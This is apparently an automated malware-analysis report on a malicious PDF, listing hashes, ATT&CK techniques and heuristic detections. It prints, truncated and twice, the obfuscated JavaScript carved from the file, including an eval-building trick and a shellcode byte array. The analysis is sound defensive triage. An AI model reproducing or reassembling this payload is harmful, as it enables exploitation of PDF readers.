PDF malware analysis — malicious · 7b8543673fcaf605

MALICIOUS

PDF

20.6 KB

MD5: d2683d3f663d44aa9d2c9bd2eac4d26a SHA-1: 4feb9477caf6dc1866061152855bb9a5f6822612 SHA-256: 7b8543673fcaf605a835b8483d8223abcc9f361acc27adb58b7f1d787180e6a4

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript, flagged by multiple heuristics as malicious and part of an exploit cluster. The JavaScript code, though obfuscated, is designed to execute and likely download further malicious content. The ML classifier strongly indicates maliciousness, supporting the conclusion that this PDF is used as a malicious attachment to deliver a payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9994

Heuristics 6

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE

PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

javascript_obj0099_000.js
30139ebb774fbe118ac1351b3ce062dd596f981376ee8ac778eb2362f73a48e8 pdf-javascript-stream PDF /JS object 99 at offset 0x479A 20180 bytes

Filename	Kind	Source	Size
`javascript_obj0099_000.js` `30139ebb774fbe118ac1351b3ce062dd596f981376ee8ac778eb2362f73a48e8`	pdf-javascript-stream	PDF /JS object 99 at offset 0x479A	20180 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script if(!this.scroll())gg="\x65"; zz=function(){return "\x76\x61\x6c";}; a=[0x62,0x6a,0x73,0x67,0x3d,0x27,0x25,0x75,0x38,0x33,0x36,0x36,0x25,0x75,0x66,0x63,0x65,0x34,0x25,0x75,0x38,0x35,0x66,0x63,0x25,0x75,0x37,0x35,0x65,0x34,0x25,0x75,0x65,0x39,0x33,0x34,0x25,0x75,0x33,0x33,0x35,0x66,0x25,0x75,0x36,0x34,0x63,0x30,0x25,0x75,0x34,0x30,0x38,0x62,0x25,0x75,0x38,0x62,0x33,0x30,0x25,0x75,0x30,0x63,0x34,0x30,0x25,0x75,0x37,0x30,0x38,0x62,0x25,0x75,0x35,0x36,0x31,0x63,0x25,0x75,0x37,0x36,0x38,0x62,0x25,0x75,0x33,0x33,0x30,0x38,0x25,0x75,0x36,0x36,0x64,0x62,0x25,0x75,0x35,0x65,0x38,0x62,0x25,0x75,0x30,0x33,0x33,0x63,0x25,0x75,0x33,0x33,0x37,0x34,0x25,0x75,0x38,0x31,0x32,0x63,0x25,0x75,0x31,0x35,0x65,0x65,0x25,0x75,0x66,0x66,0x31,0x30,0x25,0x75,0x62,0x38,0x66,0x66,0x25,0x75,0x34,0x30,0x38,0x62,0x25,0x75,0x63,0x33,0x33,0x30,0x25,0x75,0x33,0x39,0x34,0x36,0x25,0x75,0x37,0x35,0x30,0x36,0x25,0x75,0x38,0x37,0x66,0x62,0x25,0x75,0x32,0x34,0x33,0x34,0x25,0x75,0x65,0x34,0x38,0x35,0x25,0x75,0x35,0x31,0x37,0x35,0x25,0x75,0x65,0x62,0x65,0x39,0x25,0x75,0x35,0x31,0x34,0x63,0x25,0x75,0x38,0x62,0x35,0x36,0x25,0x75,0x33,0x63,0x37,0x35,0x25,0x75,0x37,0x34,0x38,0x62,0x25,0x75,0x37,0x38,0x33,0x35,0x25,0x75,0x66,0x35,0x30,0x33,0x25,0x75,0x38,0x62,0x35,0x36,0x25,0x75,0x32,0x30,0x37,0x36,0x25,0x75,0x66,0x35,0x30,0x33,0x25,0x75,0x63,0x39,0x33,0x33,0x25,0x75,0x34,0x31,0x34,0x39,0x25,0x75,0x61,0x64,0x66,0x63,0x25,0x75,0x63,0x35,0x30,0x33,0x25,0x75,0x64,0x62,0x33,0x33,0x25,0x75,0x62,0x65,0x30,0x66,0x25,0x75,0x33,0x38,0x31,0x30,0x25,0x75,0x37,0x34,0x66,0x32,0x25,0x75,0x63,0x31,0x30,0x38,0x25,0x75,0x30,0x64,0x63,0x62,0x25,0x75,0x64,0x61,0x30,0x33,0x25,0x75,0x65,0x62,0x34,0x30,0x25,0x75,0x33,0x62,0x66,0x31,0x25,0x75,0x37,0x35,0x31,0x66,0x25,0x75,0x35,0x65,0x65,0x36,0x25,0x75,0x35,0x65,0x38,0x62,0x25,0x75,0x30,0x33,0x32,0x34,0x25,0x75,0x36,0x36,0x64,0x64,0x25,0x75,0x30,0x63,0x38,0x62,0x25,0x75,0x38,0x64,0x34,0x62,0x25,0x75,0x65,0x63,0x34,0x36,0x25,0x75,0x35,0x34,0x66,0x66,0x25,0x75,0x30,0x63,0x32,0x34,0x25,0x75,0x64,0x38,0x38,0x62,0x25,0x75,0x64,0x64,0x30,0x33,0x25,0x75,0x30,0x34,0x38,0x62,0x25,0x75,0x30,0x33,0x38,0x62,0x25,0x75,0x61,0x62,0x63,0x35,0x25,0x75,0x35,0x39,0x35,0x65,0x25,0x75,0x65,0x62,0x63,0x33,0x25,0x75,0x61,0x64,0x35,0x33,0x25,0x75,0x36,0x38,0x38,0x62,0x25,0x75,0x38,0x30,0x32,0x30,0x25,0x75,0x30,0x63,0x37,0x64,0x25,0x75,0x37,0x34,0x33,0x33,0x25,0x75,0x39,0x36,0x30,0x33,0x25,0x75,0x66,0x33,0x65,0x62,0x25,0x75,0x36,0x38,0x38,0x62,0x25,0x75,0x38,0x62,0x30,0x38,0x25,0x75,0x36,0x61,0x66,0x37,0x25,0x75,0x35,0x39,0x30,0x35,0x25,0x75,0x39,0x38,0x65,0x38,0x25,0x75,0x66,0x66,0x66,0x66,0x25,0x75,0x65,0x32,0x66,0x66,0x25,0x75,0x65,0x38,0x66,0x39,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x35,0x30,0x35,0x38,0x25,0x75,0x34,0x30,0x36,0x61,0x25,0x75,0x66,0x66,0x36,0x38,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x35,0x30,0x30,0x30,0x25,0x75,0x63,0x30,0x38,0x33,0x25,0x75,0x35,0x30,0x31,0x39,0x25,0x75,0x38,0x62,0x35,0x35,0x25,0x75,0x38,0x62,0x65,0x63,0x25,0x75,0x31,0x30,0x35,0x65,0x25,0x75,0x63,0x33,0x38,0x33,0x25,0x75,0x66,0x66,0x30,0x35,0x25,0x75,0x36,0x38,0x65,0x33,0x25,0x75,0x36,0x65,0x36,0x66,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x37,0x35,0x36,0x38,0x25,0x75,0x36,0x63,0x37,0x32,0x25,0x75,0x35,0x34,0x36,0x64,0x25,0x75,0x31,0x36,0x66,0x66,0x25,0x75,0x63,0x34,0x38,0x33,0x25,0x75,0x38,0x62,0x30,0x38,0x25,0x75,0x65,0x38,0x65,0x38,0x25,0x75,0x66,0x66,0x36,0x31,0x25,0x75,0x66,0x66,0x66,0x66,0x25,0x75,0x30,0x32,0x65,0x62,0x25,0x75,0x37,0x32,0x65,0x62,0x25,0x75,0x65,0x63,0x38,0x31,0x25,0x75,0x30,0x31,0x30,0x34,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x35,0x63,0x38,0x64,0x25,0x75,0x30,0x63,0x32,0x34,0x25,0x75,0x30,0x34,0x63,0x37,0x25,0x75,0x37,0x32,0x32,0x34,0x25,0x75,0x36,0x37,0x36,0x35,0x25,0x75,0x63,0x37,0x37,0x33,0x25,0x75,0x32,0x34,0x34,0x34,0x25,0x75,0x37,0x36,0x30,0x34,0x25,0x75,0x33,0x33,0x37,0x32,0x25,0x75,0x63,0x37,0x33,0x32,0x25,0x75,0x32,0x34,0x34,0x34,0x25,0x75,0x32,0x30,0x30,0x38,0x25,0x75,0x37,0x33,0x32,0x64,0x25,0x75,0x35,0x33,0x32,0x30,0x25,0x75,0x66,0x38,0x36,0x38,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x66,0x66,0x30,0x30,0x2 ... (truncated)

Detection

ClamAV: No threats found

Obfuscation or payload: likely

Carved artifact contains 1 eval/decoder/string-building token(s).

Preview script

First 1,000 lines of the extracted script

if(!this.scroll())gg="\x65";
zz=function(){return "\x76\x61\x6c";};
a=[0x62,0x6a,0x73,0x67,0x3d,0x27,0x25,0x75,0x38,0x33,0x36,0x36,0x25,0x75,0x66,0x63,0x65,0x34,0x25,0x75,0x38,0x35,0x66,0x63,0x25,0x75,0x37,0x35,0x65,0x34,0x25,0x75,0x65,0x39,0x33,0x34,0x25,0x75,0x33,0x33,0x35,0x66,0x25,0x75,0x36,0x34,0x63,0x30,0x25,0x75,0x34,0x30,0x38,0x62,0x25,0x75,0x38,0x62,0x33,0x30,0x25,0x75,0x30,0x63,0x34,0x30,0x25,0x75,0x37,0x30,0x38,0x62,0x25,0x75,0x35,0x36,0x31,0x63,0x25,0x75,0x37,0x36,0x38,0x62,0x25,0x75,0x33,0x33,0x30,0x38,0x25,0x75,0x36,0x36,0x64,0x62,0x25,0x75,0x35,0x65,0x38,0x62,0x25,0x75,0x30,0x33,0x33,0x63,0x25,0x75,0x33,0x33,0x37,0x34,0x25,0x75,0x38,0x31,0x32,0x63,0x25,0x75,0x31,0x35,0x65,0x65,0x25,0x75,0x66,0x66,0x31,0x30,0x25,0x75,0x62,0x38,0x66,0x66,0x25,0x75,0x34,0x30,0x38,0x62,0x25,0x75,0x63,0x33,0x33,0x30,0x25,0x75,0x33,0x39,0x34,0x36,0x25,0x75,0x37,0x35,0x30,0x36,0x25,0x75,0x38,0x37,0x66,0x62,0x25,0x75,0x32,0x34,0x33,0x34,0x25,0x75,0x65,0x34,0x38,0x35,0x25,0x75,0x35,0x31,0x37,0x35,0x25,0x75,0x65,0x62,0x65,0x39,0x25,0x75,0x35,0x31,0x34,0x63,0x25,0x75,0x38,0x62,0x35,0x36,0x25,0x75,0x33,0x63,0x37,0x35,0x25,0x75,0x37,0x34,0x38,0x62,0x25,0x75,0x37,0x38,0x33,0x35,0x25,0x75,0x66,0x35,0x30,0x33,0x25,0x75,0x38,0x62,0x35,0x36,0x25,0x75,0x32,0x30,0x37,0x36,0x25,0x75,0x66,0x35,0x30,0x33,0x25,0x75,0x63,0x39,0x33,0x33,0x25,0x75,0x34,0x31,0x34,0x39,0x25,0x75,0x61,0x64,0x66,0x63,0x25,0x75,0x63,0x35,0x30,0x33,0x25,0x75,0x64,0x62,0x33,0x33,0x25,0x75,0x62,0x65,0x30,0x66,0x25,0x75,0x33,0x38,0x31,0x30,0x25,0x75,0x37,0x34,0x66,0x32,0x25,0x75,0x63,0x31,0x30,0x38,0x25,0x75,0x30,0x64,0x63,0x62,0x25,0x75,0x64,0x61,0x30,0x33,0x25,0x75,0x65,0x62,0x34,0x30,0x25,0x75,0x33,0x62,0x66,0x31,0x25,0x75,0x37,0x35,0x31,0x66,0x25,0x75,0x35,0x65,0x65,0x36,0x25,0x75,0x35,0x65,0x38,0x62,0x25,0x75,0x30,0x33,0x32,0x34,0x25,0x75,0x36,0x36,0x64,0x64,0x25,0x75,0x30,0x63,0x38,0x62,0x25,0x75,0x38,0x64,0x34,0x62,0x25,0x75,0x65,0x63,0x34,0x36,0x25,0x75,0x35,0x34,0x66,0x66,0x25,0x75,0x30,0x63,0x32,0x34,0x25,0x75,0x64,0x38,0x38,0x62,0x25,0x75,0x64,0x64,0x30,0x33,0x25,0x75,0x30,0x34,0x38,0x62,0x25,0x75,0x30,0x33,0x38,0x62,0x25,0x75,0x61,0x62,0x63,0x35,0x25,0x75,0x35,0x39,0x35,0x65,0x25,0x75,0x65,0x62,0x63,0x33,0x25,0x75,0x61,0x64,0x35,0x33,0x25,0x75,0x36,0x38,0x38,0x62,0x25,0x75,0x38,0x30,0x32,0x30,0x25,0x75,0x30,0x63,0x37,0x64,0x25,0x75,0x37,0x34,0x33,0x33,0x25,0x75,0x39,0x36,0x30,0x33,0x25,0x75,0x66,0x33,0x65,0x62,0x25,0x75,0x36,0x38,0x38,0x62,0x25,0x75,0x38,0x62,0x30,0x38,0x25,0x75,0x36,0x61,0x66,0x37,0x25,0x75,0x35,0x39,0x30,0x35,0x25,0x75,0x39,0x38,0x65,0x38,0x25,0x75,0x66,0x66,0x66,0x66,0x25,0x75,0x65,0x32,0x66,0x66,0x25,0x75,0x65,0x38,0x66,0x39,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x35,0x30,0x35,0x38,0x25,0x75,0x34,0x30,0x36,0x61,0x25,0x75,0x66,0x66,0x36,0x38,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x35,0x30,0x30,0x30,0x25,0x75,0x63,0x30,0x38,0x33,0x25,0x75,0x35,0x30,0x31,0x39,0x25,0x75,0x38,0x62,0x35,0x35,0x25,0x75,0x38,0x62,0x65,0x63,0x25,0x75,0x31,0x30,0x35,0x65,0x25,0x75,0x63,0x33,0x38,0x33,0x25,0x75,0x66,0x66,0x30,0x35,0x25,0x75,0x36,0x38,0x65,0x33,0x25,0x75,0x36,0x65,0x36,0x66,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x37,0x35,0x36,0x38,0x25,0x75,0x36,0x63,0x37,0x32,0x25,0x75,0x35,0x34,0x36,0x64,0x25,0x75,0x31,0x36,0x66,0x66,0x25,0x75,0x63,0x34,0x38,0x33,0x25,0x75,0x38,0x62,0x30,0x38,0x25,0x75,0x65,0x38,0x65,0x38,0x25,0x75,0x66,0x66,0x36,0x31,0x25,0x75,0x66,0x66,0x66,0x66,0x25,0x75,0x30,0x32,0x65,0x62,0x25,0x75,0x37,0x32,0x65,0x62,0x25,0x75,0x65,0x63,0x38,0x31,0x25,0x75,0x30,0x31,0x30,0x34,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x35,0x63,0x38,0x64,0x25,0x75,0x30,0x63,0x32,0x34,0x25,0x75,0x30,0x34,0x63,0x37,0x25,0x75,0x37,0x32,0x32,0x34,0x25,0x75,0x36,0x37,0x36,0x35,0x25,0x75,0x63,0x37,0x37,0x33,0x25,0x75,0x32,0x34,0x34,0x34,0x25,0x75,0x37,0x36,0x30,0x34,0x25,0x75,0x33,0x33,0x37,0x32,0x25,0x75,0x63,0x37,0x33,0x32,0x25,0x75,0x32,0x34,0x34,0x34,0x25,0x75,0x32,0x30,0x30,0x38,0x25,0x75,0x37,0x33,0x32,0x64,0x25,0x75,0x35,0x33,0x32,0x30,0x25,0x75,0x66,0x38,0x36,0x38,0x25,0x75,0x30,0x30,0x30,0x30,0x25,0x75,0x66,0x66,0x30,0x30,0x2
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.